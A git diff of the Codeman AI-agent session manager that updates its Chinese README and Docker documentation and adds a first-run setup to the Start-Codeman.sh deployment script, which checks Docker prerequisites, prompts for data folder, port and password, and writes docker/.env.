你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai)、[Codex](https://developers.openai.com/codex/cli)、[Antigravity](https://antigravity.google)、[Gemini CLI](https://github.com/google-gemini/gemini-cli)、[Pi](https://pi.dev)、[Grok Build](https://github.com/xai-org/grok-build)、[DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness)、[OMP](https://github.com/can1357/oh-my-pi) 或 [GitHub Copilot CLI](https://github.com/github/copilot-cli)(任意组合均可;自 Google 面向消费者停售后,Gemini CLI 仅限企业版,Antigravity 是其继任者)。安装器会自动检测这十个中已安装的任意一个;若一个都没有,会给出一个菜单让你安装其中任意一个(DeepSeek 除外,它的 npm 包只装一个启动器,没有可运行的 profile),也可以选择跳过、稍后自行安装。安装完成后:
@@ -87,7 +88,14 @@ codeman users add alice --admin # 创建第一个管理员账号
codeman web --multiuser # 命名登录 + 按用户隔离的案例空间
```
**更喜欢 Docker Compose?** `docker/` 里附带一套本地镜像的 Compose 部署:把 `docker/.env.example` 复制为 `docker/.env`,设置 `CODEMAN_PASSWORD`,然后在 Linux 上运行 `bash docker/Start-Codeman.sh`。Codeman 自己跑在容器里,并通过宿主机的 socket 把 Docker 案例作为并列容器拉起。更新之后请再跑一次这个脚本,而不是直接 `docker compose up`,这样重建的镜像、刷新的卷和新的入口脚本会一起就位。直接的 Compose 命令、存储与网络选项见 [Docker 部署指南](docker/README.md)(英文)。
**更喜欢 Docker Compose?** 克隆仓库,运行一个脚本即可(Linux,需要 Docker 和 Compose v2 插件):
```bash
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
首次运行会问三个问题(数据目录、端口、密码;回车即采用默认值,包括自动生成的密码),替你写好 `docker/.env`,构建镜像,并在 Codeman 响应后给出访问地址。镜像已内置 Claude Code、Codex、Gemini CLI 和 OpenCode。Codeman 自己跑在容器里,并通过宿主机的 socket 把 Docker 案例作为并列容器拉起。更新时请使用 **App Settings → Updates**,或者先 `git pull` 再跑一次这个脚本,而不是直接 `docker compose up`,这样重建的镜像、刷新的卷和新的入口脚本会一起就位。Unraid、直接的 Compose 命令、存储与网络选项见 [Docker 部署指南](docker/README.md)(英文)。
详见下文[多用户模式](#多用户模式可选启用)。
@@ -466,6 +474,7 @@ PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端
- **底栏里的 Git 状态**:默认关闭(**App Settings → Header & Panels → Bottom bar → Git status**,按设备生效)。底栏右侧的一个小指示器让你一眼看清当前会话所在仓库的状态:`● 3` 表示未提交的文件,`↑ 2` 表示未推送的提交,`⚠` 表示合并冲突,`✓` 表示全部已提交并推送。点击它会打开一个可拖动的窗口,列出已暂存、未暂存、未跟踪和有冲突的文件(按折叠的文件夹分组,关掉该设置则显示为平铺列表)以及未推送的提交;**点击文件即可查看它的 diff**(新文件全部显示为新增,已删除的文件全部显示为删除),**Open file** 可直接跳到查看器。一个包含多个项目的文件夹,会为向下两层内找到的每个仓库各给一个可折叠分区,打开之前全部折叠。只读且离线(Codeman 绝不 fetch,也绝不改动仓库);Docker 和远程会话不显示
- **把 GitHub 仓库克隆成 case** —— 在 **Add Case → Clone Repo** 里粘贴一个仓库 URL,Codeman 会把它克隆到 `~/codeman-cases/<name>` 并注册为普通 case,随时可以跑智能体。输入时它会预检 URL(告诉你能否匿名克隆,并为可选的分支/标签字段提供仓库真实的分支与标签),从 URL 里填好 case 名,还让你选 Run 按钮该用哪个 CLI。支持 `https://` 的公开仓库;Codeman 绝不收集或保存凭据
- **在自定义文件夹里创建 case**:在 **Add Case → Create New** 里勾选 **Create in a custom folder**,选一个父文件夹(可用 Browse 浏览)和一个名字,Codeman 就会在那里而不是 `~/codeman-cases` 里搭建新 case。目标必须是一个新的或空的文件夹;系统目录、你的主目录本身、`~/.ssh` 这类凭据目录,以及 Codeman 自己的数据目录都会被拒绝。多用户模式下仅管理员可用
- **打开你手动启动的 tmux 会话**:在 Codeman 之外启动的 tmux 会话会出现在主屏幕上:本机的会自动列出,Docker case 容器内和已保存 SSH 主机上的会在你扫描时列出。点一下即可作为标签页打开。关闭标签页只会分离,Codeman 不会重生或重启并非由它启动的智能体。详见 [Opened outside Codeman](docs/wiki/The-Dashboard.md#opened-outside-codeman)。
- **多 CLI** —— 每个会话可选 **Claude Code**、**OpenCode**、**Codex**、**Antigravity**、**Gemini**、**Pi**、**Grok**、**DeepSeek Harness**、**OMP** 或 **GitHub Copilot CLI**;环境变量前缀自动隔离(`CLAUDE_CODE_*`、`OPENCODE_*`、`CODEX_*`、`ANTIGRAVITY_*`、`GEMINI_*`/`GOOGLE_*`、`PI_*`、`GROK_*`/`XAI_*`、`DSH_*`/`DEEPSEEK_*`、`OMP_*` 与 `COPILOT_*`)。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)、[`docs/pi-integration.md`](docs/pi-integration.md)、[`docs/grok-integration.md`](docs/grok-integration.md)、[`docs/deepseek-integration.md`](docs/deepseek-integration.md)、[`docs/omp-integration.md`](docs/omp-integration.md) 与 [`docs/copilot-integration.md`](docs/copilot-integration.md)
- **自定义模型端点**(1.29.0 新增,目前仅 HTTP API)—— 让某个会话的 CLI 指向任意 OpenAI 兼容端点,而不是它自己的官方后端:本地的 llama.cpp、llama-swap、Ollama 或 vLLM 机器,也可以是 Azure AI Foundry、OpenRouter 这类云端网关。端点只需保存一次(`POST /api/model-endpoints`,模型列表从它的 `/v1/models` 自动发现),再应用到会话(`POST /api/sessions/:id/custom-model`),CLI 就会在原地重启并接上该端点。Claude、OpenCode、Pi、Grok 与 OMP 已实测通过;Codex、Gemini 与 DeepSeek 存在已记录的缺口,Antigravity 没有可用机制。工具栏选择器是下一步。详见 [`docs/custom-model-endpoints.md`](docs/custom-model-endpoints.md)
- **Web 标签页** —— 把 Grafana、Uptime Kuma、一个 Vite 开发服务器或任何仪表盘 URL 作为标签页打开在会话旁边(Run 下拉菜单 → **Web / URL** → **Add URL**)。仪表盘通过 Codeman 自己的源代理,因此 `http://` 目标在手机上走 HTTPS 也能用、走隧道也能用;单页应用能在自己的路径上正常路由,页面自己重载后也能自行恢复。智能体打印出的 `localhost` 链接会自动以 Web 标签页打开。详见 [`docs/web-tabs.md`](docs/web-tabs.md)
@@ -516,7 +525,7 @@ PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端
- **发现与附着**:列出主机上已在运行的 `codeman-*` 会话(由那台机器自己的 Codeman 或其他操作者启动)并附着其一。非你所有的已附着会话在关闭标签时**只分离,绝不杀掉**。
- **共享会话**:多个客户端可以以不同窗口尺寸同时附着同一个远程会话而互不挤压;发现列表会显示带客户端计数的「shared」徽标。
- **注入安全**:所有 ssh 命令行都经由单一的 shell 转义构建器生成,主机/路径/身份文件字段均有模式校验。
- **文件也行**:远程 case 里的预览、下载和文本读取走同一条 ssh 连接(一次 `realpath` + `stat` 探测,然后流式 `cat`,支持 `Range` 拖动进度),所以点一个路径打开的就是智能体所在那台机器上的文件。什么都不会复制到 Codeman 主机;编辑和 Office 预览会明确返回 400,而不是一个误导性的 404。
- **文件也行**:远程 case 里的预览、下载和文本读取走同一条 ssh 连接(一次 `realpath` + `stat` 探测,然后流式 `cat`,支持 `Range` 拖动进度),所以点一个路径打开的就是智能体所在那台机器上的文件。除了 Edit history 面板保存的差异之外,什么都不会复制到 Codeman 主机;编辑和 Office 预览会明确返回 400,而不是一个误导性的 404。
- **完整的回滚历史**:加载远程会话的历史时,会通过一次有上限的 ssh 往返直接从远程 tmux 读取,所以重新附着或切换标签之后,会话依然保有完整的回滚缓冲区,历史与实时屏幕衔接处也不会丢行。
在 **New Case → Remote** 中配置(主机、用户、身份文件、可选跳板机)。完整设计:[`docs/remote-sessions.md`](docs/remote-sessions.md)。
+2 -2
View File
@@ -3,7 +3,7 @@
"name": "io.github.Ark0N/codeman",
"title": "Codeman",
"description": "Start, prompt and read AI coding agent sessions (Claude Code, Codex, Gemini CLI and more) in Codeman",
"version": "1.48.0",
"version": "1.49.0",
"websiteUrl": "https://getcodeman.com",
"repository": {
"url": "https://github.com/Ark0N/Codeman",
@@ -13,7 +13,7 @@
{
"registryType": "npm",
"identifier": "aicodeman",
"version": "1.48.0",
"version": "1.49.0",
"transport": {
"type": "stdio"
},
+1
View File
@@ -60,6 +60,7 @@ export const BROWSER_TEST_GLOBS = [
'test/fullscreen-tab-switch-capture.browser.test.ts',
'test/terminal-touch-swipe-axis.browser.test.ts',
'test/phone-press-feedback.browser.test.ts',
'test/desktop-connect-page.browser.test.ts', // no server: the page is served by request interception
];
/**
+10 -3
View File
@@ -1,9 +1,14 @@
# =============================================================================
# Codeman Docker Compose environment template
# Copy this file to .env and set the values for the Docker host.
#
# Usually there is no need to copy this by hand: on its first run,
# `bash docker/Start-Codeman.sh` writes docker/.env from this file, asking for
# the data folder, port and password and filling in this host's time zone.
# Copy it yourself (to docker/.env) only for a hand-built setup, such as a host
# where everything runs as root (Unraid) or Compose started without the script.
# =============================================================================
TZ=Australia/Perth
TZ=Etc/UTC
# Optional overrides for direct `docker compose` use. The Bash start script
# detects these values from CODEMAN_APPDATA_PATH automatically. Compose uses
@@ -23,7 +28,8 @@ CODEMAN_RUNTIME_USER=codeman
# Required. Persistent Codeman application data, CLI credentials, and session
# state are stored here on the host and mounted at the runtime account's home
# directory in the container.
# directory in the container. The value below is the Unraid layout; the first
# run of Start-Codeman.sh suggests ~/codeman-docker instead.
CODEMAN_APPDATA_PATH=/mnt/user/appdata/codeman
# Optional. Absolute host path of this Codeman checkout, mounted at
@@ -45,6 +51,7 @@ CODEMAN_IMAGE=codeman:local
# Required for any network-accessible Codeman instance. Use a unique, strong
# password. This file is safe to commit; copy it to .env and set the value.
# Start-Codeman.sh refuses to start while it is still `changeme`.
CODEMAN_PASSWORD=changeme
# Required. Username for Codeman HTTP Basic authentication.
+31 -2
View File
@@ -4,7 +4,36 @@ This folder contains the Compose configuration, server image Dockerfile, and env
## Start
From the repository root, create the runtime environment file and set the required values, especially `CODEMAN_PASSWORD`.
From a fresh clone, on Linux:
```sh
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run checks that Docker, the Compose v2 plugin (2.27.2 or newer) and the daemon are usable, naming the fix when one is not. It then asks three questions, and Enter takes the default for each:
| Question | Default |
| ----------- | ------------------------------------------------------------------------------------------------------------------------------ |
| Data folder | `~/codeman-docker`. It becomes the container's home: Codeman's state, CLI logins, and the `codeman-cases` folder for projects. |
| Port | 3000, or the next free port when something on the machine already uses 3000. |
| Password | A generated 24-character password, shown on your terminal and kept in `docker/.env`. |
It writes `docker/.env` from `.env.example` (readable only by you, with this host's time zone filled in), builds the image, starts the container, waits until Codeman answers, and prints the URL to open, the address for other devices on your network, and the commands for logs and stopping. The first build takes a few minutes.
Your account has to be able to use Docker without sudo. If it cannot, the script says so: run `sudo usermod -aG docker $USER`, then log out and back in. The first run refuses to set up as root, because Codeman's data folder must belong to a normal account.
| Option | Effect |
| -------------- | --------------------------------------------------------------------------------------------------------- |
| `--yes`, `-y` | Take every default without asking. This also happens when no terminal is attached. |
| `--setup-only` | Write `docker/.env` and stop, so you can review it (or add the optional settings below) before the build. |
| `--no-wait` | Start the container without waiting for Codeman to answer. |
On a first run, `CODEMAN_APPDATA_PATH`, `CODEMAN_PORT` and `CODEMAN_PASSWORD` set in the environment replace the defaults, a different answer typed at the question still wins, and a preset password skips its question. A password the script generates is only ever shown on a terminal: when the output is captured (a log, a pipe), read it from `docker/.env`. Every later run reads `docker/.env` as it is, asks nothing and never edits it, except that Compose prefers a variable exported in your shell over the file. Change a value by editing the file and running the script again. The script refuses to start while `CODEMAN_PASSWORD` is still the example's `changeme`, because the container is reachable from your network and controls Docker on the host.
### Setting it up by hand
Hosts where everything runs as root (Unraid), and Compose run without the script, take a hand-written `.env` instead. From the repository root, copy the template and set the required values, especially `CODEMAN_PASSWORD` and a `CODEMAN_APPDATA_PATH` owned by an unprivileged account:
```sh
cp docker/.env.example docker/.env
@@ -198,7 +227,7 @@ volumes:
target: /home/${CODEMAN_RUNTIME_USER}
```
Set `CODEMAN_APPDATA_PATH` in `.env` to a directory that the Docker daemon can access. The example value is `/mnt/user/appdata/codeman`.
Set `CODEMAN_APPDATA_PATH` in `.env` to a directory that the Docker daemon can access. The example value is `/mnt/user/appdata/codeman` (an Unraid layout); the first run of `Start-Codeman.sh` suggests `~/codeman-docker` instead.
`CODEMAN_CASES_PATH` is the separate host directory for managed case workspaces. It is mounted into Codeman at the same absolute path, allowing the host Docker daemon to bind it into an isolated case container. Set it to a child directory of `CODEMAN_APPDATA_PATH` unless you deliberately store workspaces elsewhere.
+667 -19
View File
@@ -1,17 +1,479 @@
#!/usr/bin/env bash
#
# Sets up (on the first run) and starts the Docker Compose deployment.
#
# A new install is two commands, from a fresh clone:
#
# git clone https://github.com/Ark0N/Codeman.git && cd Codeman
# bash docker/Start-Codeman.sh
#
# With no docker/.env yet, this asks three questions (data folder, port,
# password; Enter takes the default each time), writes docker/.env from
# .env.example, builds the image, starts the container, waits until Codeman
# answers and prints the URL to open. Every later run (after a `git pull`, or
# when the in-app updater asks for it) skips the questions and rebuilds and
# restarts the stack.
#
# Usage: bash docker/Start-Codeman.sh [--yes] [--setup-only] [--no-wait]
# --yes, -y First run: take every default without asking. Also what
# happens when no terminal is attached.
# --setup-only Write docker/.env and stop, so it can be reviewed first.
# --no-wait Do not wait for Codeman to answer after starting it.
#
# A first run takes its defaults from CODEMAN_APPDATA_PATH, CODEMAN_PORT and
# CODEMAN_PASSWORD when they are set in the environment.
#
# Bash 3.2 clean on purpose: Docker Desktop on macOS runs this with
# /bin/bash 3.2 (no ${x,,}, mapfile, associative arrays or here-strings).
set -euo pipefail
script_dir=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)
env_file="$script_dir/.env"
example_file="$script_dir/.env.example"
compose_file="$script_dir/docker-compose.yaml"
if [[ ! -f "$env_file" ]]; then
printf 'Error: Docker environment file is missing: %s\n' "$env_file" >&2
printf 'Create it from %s/.env.example before starting Codeman.\n' "$script_dir" >&2
assume_yes=0
setup_only=0
no_wait=0
for arg in "$@"; do
case "$arg" in
--yes | -y) assume_yes=1 ;;
--setup-only) setup_only=1 ;;
--no-wait) no_wait=1 ;;
--help | -h)
printf 'Usage: bash %s [--yes] [--setup-only] [--no-wait]\n' "$0"
printf ' --yes, -y First run: take every default without asking\n'
printf ' --setup-only Write docker/.env and stop, so it can be reviewed first\n'
printf ' --no-wait Do not wait for Codeman to answer after starting it\n'
exit 0
;;
*)
printf 'Error: unrecognised argument: %s\n' "$arg" >&2
printf 'Usage: bash %s [--yes] [--setup-only] [--no-wait]\n' "$0" >&2
exit 1
;;
esac
done
# ── Preflight ────────────────────────────────────────────────────────────────
# The three things a new machine most often lacks, each named with its fix
# before anything else runs (a missing daemon used to surface as a bare Compose
# error from the first `config` call below).
# PURE: is dotted version $1 older than $2? An unparseable $1 is never "older":
# the `config --environment` failure handler below still catches a real miss.
version_older_than() {
local re='^([0-9]+)\.([0-9]+)\.([0-9]+)'
local a b c x y z
[[ "$1" =~ $re ]] || return 1
a=$((10#${BASH_REMATCH[1]})) b=$((10#${BASH_REMATCH[2]})) c=$((10#${BASH_REMATCH[3]}))
[[ "$2" =~ $re ]] || return 1
x=$((10#${BASH_REMATCH[1]})) y=$((10#${BASH_REMATCH[2]})) z=$((10#${BASH_REMATCH[3]}))
if ((a != x)); then
((a < x))
return
fi
if ((b != y)); then
((b < y))
return
fi
((c < z))
}
# `docker compose config --environment`, which everything below reads the
# settings through, first shipped in Compose v2.27.2 (docker/compose#11891).
min_compose_version='2.27.2'
if ! command -v docker >/dev/null 2>&1; then
printf 'Error: Docker is not installed (no `docker` command on PATH).\n' >&2
printf 'Install Docker Engine (Linux: https://docs.docker.com/engine/install/) or\n' >&2
printf 'Docker Desktop (macOS, Windows), then rerun this script.\n' >&2
exit 1
fi
if ! docker compose version >/dev/null 2>&1; then
printf 'Error: the Docker Compose v2 plugin is missing (`docker compose version` failed).\n' >&2
if command -v docker-compose >/dev/null 2>&1; then
printf 'The standalone `docker-compose` found on PATH is not a substitute for it.\n' >&2
fi
printf 'Install it from https://docs.docker.com/compose/install/linux/\n' >&2
printf '(Debian/Ubuntu with Docker'"'"'s apt repository: sudo apt-get install docker-compose-plugin).\n' >&2
exit 1
fi
compose_version=$(docker compose version --short 2>/dev/null || true)
compose_version=${compose_version#v}
if version_older_than "$compose_version" "$min_compose_version"; then
printf 'Error: Docker Compose %s is too old; Codeman needs %s or newer.\n' \
"$compose_version" "$min_compose_version" >&2
printf 'Update the Compose plugin (https://docs.docker.com/compose/install/linux/), then rerun.\n' >&2
exit 1
fi
# `docker version`, not `docker info`: on CLI 24 through 27 `info --format` exits
# 0 with the daemon unreachable (measured on 27.5.1), so this check never fired.
if ! docker_error=$(docker version --format '{{.Server.Version}}' 2>&1 >/dev/null); then
case "$docker_error" in
*[Pp]ermission\ denied*)
account=$(id -un 2>/dev/null || printf 'your account')
printf 'Error: %s is not allowed to use Docker yet.\n' "$account" >&2
printf 'Add it to the docker group, then log out and back in (or run `newgrp docker`):\n' >&2
printf ' sudo usermod -aG docker %s\n' "$account" >&2
printf 'Prefer that over running this script with sudo: Codeman'"'"'s data folder has to\n' >&2
printf 'belong to a normal account, and a first run refuses to set it up as root.\n' >&2
;;
*)
printf 'Error: the Docker daemon is not reachable. Start it (Linux: sudo systemctl start\n' >&2
printf 'docker; macOS and Windows: open Docker Desktop), then rerun this script.\n' >&2
printf 'Docker said: %s\n' "$docker_error" >&2
;;
esac
exit 1
fi
# ── First-run setup ──────────────────────────────────────────────────────────
# Runs only while docker/.env does not exist, and never edits an existing one.
# The file is generated FROM .env.example (its KEY= lines rewritten in place),
# so every key the example sets is present: the in-app updater refuses an
# update while the user's .env lacks a key the target release's example sets
# (diffRequiredEnvKeys, src/web/self-update.ts), and a hand-picked subset would
# trip that on the very next release.
first_run=0
generated_password=''
is_interactive() {
[[ "$assume_yes" != '1' && "${CODEMAN_NONINTERACTIVE:-0}" != '1' && -t 0 ]]
}
# Reads one answer into $answer (with -s, without echo). End of input (Ctrl+D)
# cancels the setup rather than looping on a default that was just refused.
ask() {
if ! IFS= read -r "$@" answer; then
printf '\nSetup cancelled; nothing was written.\n' >&2
exit 1
fi
}
# True when something on this host already accepts connections on the port.
# bash's /dev/tcp needs no extra tool on Linux or macOS.
port_in_use() {
(exec 3<>"/dev/tcp/127.0.0.1/$1") 2>/dev/null || (exec 3<>"/dev/tcp/::1/$1") 2>/dev/null
}
first_free_port() {
local port=$1
local last=$(($1 + 99))
while ((port <= last)); do
if ! port_in_use "$port"; then
printf '%s' "$port"
return 0
fi
port=$((port + 1))
done
printf '%s' "$1"
}
host_timezone() {
local tz='' re='^[A-Za-z0-9_+/-]+$'
if [[ -r /etc/timezone ]]; then
tz=$(head -n1 /etc/timezone 2>/dev/null) || tz=''
fi
if [[ -z "$tz" ]] && command -v timedatectl >/dev/null 2>&1; then
tz=$(timedatectl show -p Timezone --value 2>/dev/null) || tz=''
fi
if [[ -z "$tz" && -L /etc/localtime ]]; then
tz=$(readlink /etc/localtime 2>/dev/null) || tz=''
tz=${tz##*zoneinfo/}
fi
if [[ ! "$tz" =~ $re ]]; then
tz='Etc/UTC'
fi
printf '%s' "$tz"
}
generate_password() {
local pw=''
# `|| true`: head closing the pipe early is the normal case, not a failure.
pw=$(LC_ALL=C tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 24) || true
if ((${#pw} != 24)) && command -v openssl >/dev/null 2>&1; then
pw=$(openssl rand -base64 48 | LC_ALL=C tr -dc 'A-Za-z0-9' | head -c 24) || true
fi
if ((${#pw} != 24)); then
printf 'Error: could not generate a password; set CODEMAN_PASSWORD and rerun.\n' >&2
exit 1
fi
printf '%s' "$pw"
}
# Compose reads .env values with its own dotenv rules: `$` interpolates and an
# unquoted ` #` starts a comment. A single-quoted value is taken literally, so
# anything beyond plain path characters is written that way. It cannot hold a
# single quote, and a backslash just before the closing quote escapes that quote,
# so the whole file fails to parse: the accept_* checks below refuse both.
env_quote() {
local re='^[A-Za-z0-9._/@:+-]*$'
if [[ "$1" =~ $re ]]; then
printf '%s' "$1"
else
printf "'%s'" "$1"
fi
}
repo_root=$(cd -- "$script_dir/.." && pwd)
# Sets setup_appdata, or says why the answer cannot be used and returns 1.
accept_appdata_path() {
local p=$1
case "$p" in
'~') p=$HOME ;;
'~/'*) p="$HOME/${p#\~/}" ;;
esac
while [[ "$p" == *//* ]]; do
p=${p//\/\//\/}
done
while [[ "$p" == */ && "$p" != / ]]; do
p=${p%/}
done
case "$p" in
*"'"* | *$'\n'*)
printf ' The path cannot contain a single quote or a line break.\n' >&2
return 1
;;
*\\)
printf ' The path cannot end in a backslash.\n' >&2
return 1
;;
esac
if [[ "$p" != /* ]]; then
printf ' Use an absolute path, one that starts with /.\n' >&2
return 1
fi
# The refusals below compare strings, so a dot segment could spell any folder
# they exist to keep out.
case "$p/" in
*/./* | */../*)
printf ' Spell the path out, without . or .. in it.\n' >&2
return 1
;;
esac
# The folder becomes the container's home directory, so its `.codeman` is
# the server's state directory: $HOME itself would share state.json with a
# Codeman installed directly on this machine.
if [[ "$p" == / || "$p" == "$HOME" ]]; then
printf ' Pick a folder of its own; it becomes the container'"'"'s home directory.\n' >&2
return 1
fi
if [[ "$p" == "$HOME/.codeman" || "$p" == "$HOME/.codeman/"* ]]; then
printf ' %s belongs to a Codeman installed directly on this machine; pick another folder.\n' "$HOME/.codeman" >&2
return 1
fi
# Inside the checkout it would sit in the image build context (COPY . .),
# CLI logins and all.
if [[ "$p" == "$repo_root" || "$p" == "$repo_root/"* ]]; then
printf ' Pick a folder outside %s; that folder is copied into the image when it is built.\n' "$repo_root" >&2
return 1
fi
setup_appdata=$p
}
accept_port() {
local re='^[0-9]+$'
if [[ ! "$1" =~ $re ]] || ((10#$1 < 1 || 10#$1 > 65535)); then
printf ' Use a port number from 1 to 65535.\n' >&2
return 1
fi
setup_port=$((10#$1))
}
accept_password() {
case "$1" in
*"'"* | *$'\n'*)
printf ' The password cannot contain a single quote or a line break.\n' >&2
return 1
;;
*\\)
printf ' The password cannot end in a backslash.\n' >&2
return 1
;;
esac
if ((${#1} < 8)); then
printf ' Use at least 8 characters.\n' >&2
return 1
fi
if [[ "$1" == 'changeme' ]]; then
printf ' That is the published example password; pick another.\n' >&2
return 1
fi
setup_password=$1
}
write_env_file() {
local tmp="$env_file.tmp.$$" line
(
umask 077
{
printf '# Written by Start-Codeman.sh on its first run, from .env.example.\n'
printf '# Change any value here, then rerun: bash docker/Start-Codeman.sh\n'
printf '\n'
while IFS= read -r line || [[ -n "$line" ]]; do
case "$line" in
TZ=*) printf 'TZ=%s\n' "$(env_quote "$setup_tz")" ;;
CODEMAN_APPDATA_PATH=*) printf 'CODEMAN_APPDATA_PATH=%s\n' "$(env_quote "$setup_appdata")" ;;
CODEMAN_CASES_PATH=*) printf 'CODEMAN_CASES_PATH=%s\n' "$(env_quote "$setup_cases")" ;;
CODEMAN_PORT=*) printf 'CODEMAN_PORT=%s\n' "$setup_port" ;;
CODEMAN_PASSWORD=*) printf 'CODEMAN_PASSWORD=%s\n' "$(env_quote "$setup_password")" ;;
*) printf '%s\n' "$line" ;;
esac
done <"$example_file"
} >"$tmp"
)
chmod 600 "$tmp"
mv -- "$tmp" "$env_file"
}
run_first_run_setup() {
local answer again default_appdata default_port port_note='' password_note username
if [[ "$EUID" == '0' ]]; then
printf 'Error: %s does not exist yet, and the first-run setup does not run as root.\n' "$env_file" >&2
printf 'Run it as the normal account that should own Codeman'"'"'s data (that account\n' >&2
printf 'needs to be in the docker group). On a root-only host such as Unraid, copy\n' >&2
printf '%s to %s by hand instead,\n' "$example_file" "$env_file" >&2
printf 'point CODEMAN_APPDATA_PATH at a folder an unprivileged account owns, set\n' >&2
printf 'CODEMAN_PASSWORD, and rerun.\n' >&2
exit 1
fi
if [[ ! -f "$example_file" ]]; then
printf 'Error: %s is missing, so there is nothing to build docker/.env from.\n' "$example_file" >&2
exit 1
fi
default_appdata=${CODEMAN_APPDATA_PATH:-$HOME/codeman-docker}
if [[ -n "${CODEMAN_PORT:-}" ]]; then
default_port=$CODEMAN_PORT
else
default_port=$(first_free_port 3000)
if [[ "$default_port" != '3000' ]]; then
port_note=' (3000 is already taken on this machine)'
fi
fi
setup_tz=$(host_timezone)
username=$(sed -n 's/^CODEMAN_USERNAME=//p' "$example_file" | head -n1)
printf '\nCodeman Docker setup\n'
printf 'There is no docker/.env yet, so this first run writes one. Enter takes the [default].\n\n'
if is_interactive; then
while :; do
printf ' Data folder (state, CLI logins, projects) [%s]: ' "$default_appdata"
ask
if [[ -z "$answer" ]]; then
answer=$default_appdata
fi
if accept_appdata_path "$answer"; then
break
fi
done
while :; do
printf ' Port [%s]%s: ' "$default_port" "$port_note"
ask
if [[ -z "$answer" ]]; then
answer=$default_port
fi
if accept_port "$answer"; then
break
fi
done
if [[ -n "${CODEMAN_PASSWORD:-}" ]]; then
accept_password "$CODEMAN_PASSWORD" || exit 1
printf ' Password: taken from CODEMAN_PASSWORD\n'
else
while :; do
printf ' Password [Enter generates a strong one]: '
ask -s
printf '\n'
if [[ -z "$answer" ]]; then
setup_password=$(generate_password)
generated_password=$setup_password
break
fi
if ! accept_password "$answer"; then
continue
fi
printf ' Repeat the password: '
again=$answer
ask -s
printf '\n'
if [[ "$again" == "$answer" ]]; then
break
fi
printf ' The two entries differ; try again.\n' >&2
done
fi
else
printf ' No questions asked (no terminal attached, or --yes): taking the defaults.\n'
accept_appdata_path "$default_appdata" || exit 1
accept_port "$default_port" || exit 1
if [[ -n "${CODEMAN_PASSWORD:-}" ]]; then
accept_password "$CODEMAN_PASSWORD" || exit 1
else
setup_password=$(generate_password)
generated_password=$setup_password
fi
fi
if port_in_use "$setup_port"; then
printf ' Note: something on this machine already listens on port %s, so starting will\n' "$setup_port" >&2
printf ' fail until it stops or CODEMAN_PORT in docker/.env names a free port.\n' >&2
fi
setup_cases="$setup_appdata/codeman-cases"
write_env_file
first_run=1
# Compose prefers the shell environment over the env file, so a preset still
# exported here would beat a different typed answer: docker/.env and the
# summary would name one folder and port and the stack would run on another.
unset TZ CODEMAN_APPDATA_PATH CODEMAN_CASES_PATH CODEMAN_PORT CODEMAN_PASSWORD
# A generated password goes to a terminal only: a captured log would be a
# weaker copy of a credential that controls Docker on this host.
if [[ -z "$generated_password" ]]; then
password_note='the one you chose'
elif [[ -t 1 ]]; then
password_note="$generated_password (generated; it stays in docker/.env)"
else
password_note='generated; read it from docker/.env'
fi
printf '\nWrote %s (readable only by you):\n' "$env_file"
printf ' Data folder %s\n' "$setup_appdata"
printf ' Projects %s\n' "$setup_cases"
printf ' Port %s\n' "$setup_port"
printf ' Time zone %s\n' "$setup_tz"
printf ' Username %s\n' "${username:-admin}"
printf ' Password %s\n' "$password_note"
printf 'Everything else in it is optional (Git identity, private repositories, reverse\n'
printf 'proxy); docker/README.md explains each setting.\n\n'
}
if [[ ! -e "$env_file" && ! -L "$env_file" ]]; then
run_first_run_setup
elif [[ ! -f "$env_file" ]]; then
# A dangling symlink or a directory is not "no .env yet": setup would replace
# the link, or leave its password file inside the directory and run again on
# every start.
printf 'Error: %s exists but is not a regular file.\n' "$env_file" >&2
printf 'Move it out of the way or repoint it, then rerun this script.\n' >&2
exit 1
elif [[ "$setup_only" == '1' ]]; then
printf '%s already exists; the setup only runs when it does not, and never edits it.\n' "$env_file"
fi
if [[ "$setup_only" == '1' ]]; then
printf 'Start Codeman with: bash %s\n' "$script_dir/Start-Codeman.sh"
exit 0
fi
# Naming a Compose file explicitly disables Compose's automatic discovery of
# the override file, so it has to be added back by hand. Without this, local
# customisation in docker-compose.override.yml is silently ignored. The
@@ -32,18 +494,54 @@ for override_file in "$override_yml" "$override_yaml"; do
fi
done
compose_command=(docker compose --env-file "$env_file" "${compose_files[@]}")
appdata_path=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_APPDATA_PATH" { sub(/^[^=]*=/, ""); print; exit }'
)
cases_path=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_CASES_PATH" { sub(/^[^=]*=/, ""); print; exit }'
)
docker_socket=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "DOCKER_SOCKET" { sub(/^[^=]*=/, ""); print; exit }'
)
# Every setting is read through Compose's own resolution (shell environment over
# .env, quoting, interpolation), once. A failure is reported here with what
# Compose said, instead of `set -e` ending the script at an empty value.
compose_stderr=$(mktemp "${TMPDIR:-/tmp}/codeman-compose.XXXXXX")
if ! compose_environment=$("${compose_command[@]}" config --environment 2>"$compose_stderr"); then
if grep -q -- 'unknown flag: --environment' "$compose_stderr"; then
printf 'Error: this Docker Compose (%s) is too old; Codeman needs %s or newer.\n' \
"${compose_version:-unknown version}" "$min_compose_version" >&2
else
cat -- "$compose_stderr" >&2
printf 'Error: `docker compose config` could not read %s and the Compose files (see above).\n' "$env_file" >&2
fi
rm -f -- "$compose_stderr"
exit 1
fi
# Compose's own warnings (an unset variable, say) still reach the terminal, once.
cat -- "$compose_stderr" >&2
rm -f -- "$compose_stderr"
# No early `exit` in the awk program: it reads all of its input, so printf never
# meets a closed pipe (a SIGPIPE would end the script under pipefail).
compose_env_value() {
printf '%s\n' "$compose_environment" |
awk -F= -v key="$1" '$1 == key && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
}
appdata_path=$(compose_env_value CODEMAN_APPDATA_PATH)
cases_path=$(compose_env_value CODEMAN_CASES_PATH)
